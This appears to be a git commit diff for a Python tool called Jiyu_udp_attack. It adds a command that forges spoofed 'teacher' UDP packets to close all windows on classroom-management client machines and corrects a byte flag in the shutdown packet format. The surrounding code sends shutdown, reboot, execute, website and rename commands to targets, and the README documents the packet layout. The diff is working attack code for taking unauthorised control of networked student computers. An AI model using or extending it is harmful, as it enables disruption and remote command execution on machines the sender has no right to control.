feat/fix: Add close-windows command; Fix packet format

Author: weilycoder

Jiyu_udp_attack/__init__.py

@@ -4,15 +4,30 @@
 
 try:
     from Jiyu_udp_attack.sender import send_packet, broadcast_packet
-    from Jiyu_udp_attack.packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
+    from Jiyu_udp_attack.packet import (
+        pkg_close_windows,
+        pkg_message,
+        pkg_shutdown,
+        pkg_rename,
+        pkg_website,
+        pkg_execute,
+    )
 except ImportError:
     from sender import send_packet, broadcast_packet
-    from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
+    from packet import (
+        pkg_close_windows,
+        pkg_message,
+        pkg_shutdown,
+        pkg_rename,
+        pkg_website,
+        pkg_execute,
+    )
 
 
 __all__ = [
     "send_packet",
     "broadcast_packet",
+    "pkg_close_windows",
     "pkg_message",
     "pkg_shutdown",
     "pkg_rename",

Jiyu_udp_attack/__main__.py

@@ -15,7 +15,7 @@
 from typing import Any, Sequence, cast
 
 from sender import broadcast_packet
-from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
+from packet import pkg_close_windows, pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
 
 
 class ModeOptionalAction(argparse.Action):
@@ -166,6 +166,14 @@ def format_usage(self) -> str:
         metavar=("<timeout>", "<message>"),
         help="Reboot the target machine, optionally with a timeout and message",
     )
+    attack_action.add_argument(
+        "-cw",
+        "--close-windows",
+        nargs="*",
+        default=None,
+        metavar=("<timeout>", "<message>"),
+        help="Close all windows on the target machine",
+    )
     attack_action.add_argument(
         "-n",
         "--rename",
@@ -222,13 +230,23 @@ def format_usage(self) -> str:
                     payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True)
                 case _:
                     parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
+        elif args.close_windows is not None:
+            match args.close_windows:
+                case []:
+                    payload = pkg_close_windows()
+                case [timeout]:
+                    payload = pkg_close_windows(timeout=int(timeout))
+                case [timeout, message]:
+                    payload = pkg_close_windows(timeout=int(timeout), message=message)
+                case _:
+                    parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
         elif args.rename:
             name, name_id = args.rename
             payload = pkg_rename(name, int(name_id))
         elif args.hex:
             payload = binascii.unhexlify(args.hex.replace(" ", ""))
         else:
-            raise ValueError("Either message or website must be provided")
+            raise ValueError("Program logic error, please report this issue: No valid action specified.")
 
         broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
         print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")

Jiyu_udp_attack/packet.py

@@ -130,7 +130,30 @@ def pkg_shutdown(timeout: Optional[int] = None, message: str = "", reboot: bool
         + secrets.token_bytes(16)
         + b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
         + (b"\x13\x00" if reboot else b"\x14\x00")
-        + (b"\x00\x01" if timeout is None else b"\x00\x00")
+        + (b"\x00\x10" if timeout is None else b"\x00\x00")
+        + (timeout or 0).to_bytes(4, "little")
+        + b"\x01\x00\x00\x00\x00\x00\x00\x00"
+    )
+    data = format_data(message, 256)
+    return head + data + b"\x00" * 258
+
+
+def pkg_close_windows(timeout: Optional[int] = None, message: str = "") -> bytes:
+    """
+    Packages a command to close all student windows into a specific byte format, including a header and formatted data.
+
+    Args:
+        timeout (Optional[int]): The time in seconds before the windows are closed. If None, it defaults to immediate execution.
+        message (str): The message to display during the window closing process.
+
+    Returns:
+        bytes: The packaged close windows command as a byte array, including a header and formatted data
+    """
+    head = (
+        b"DMOC\x00\x00\x01\x00*\x02\x00\x00"
+        + secrets.token_bytes(16)
+        + b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x02\x00"
+        + (b"\x00\x10" if timeout is None else b"\x00\x00")
         + (timeout or 0).to_bytes(4, "little")
         + b"\x01\x00\x00\x00\x00\x00\x00\x00"
     )

README.md

@@ -165,7 +165,7 @@ Data 区长 $582$。
 | $16$  |                    随机二进制串                    |
 | $24$  | `204e0000c0a8e9011d0200001d0200000002000000000000` |
 |  $2$  |              重启 `1300`；关闭 `1400`              |
-|  $2$  |          立即执行 `0001`；应用超时 `0000`          |
+|  $2$  |          立即执行 `0010`；应用超时 `0000`          |
 |  $4$  |                超时时间，小端序编码                |
 |  $8$  |                 `0100000000000000`                 |
 | $256$ |             提示信息，`utf-16le` 编码              |
@@ -183,7 +183,7 @@ Data 区长 $582$。
 | $16$  |                    随机二进制串                    |
 | $24$  | `204e0000c0a8e9011d0200001d0200000002000000000000` |
 |  $2$  |                       `0200`                       |
-|  $2$  |          立即执行 `0001`；应用超时 `0000`          |
+|  $2$  |          立即执行 `0010`；应用超时 `0000`          |
 |  $4$  |                超时时间，小端序编码                |
 |  $8$  |                 `0100000000000000`                 |
 | $256$ |             提示信息，`utf-16le` 编码              |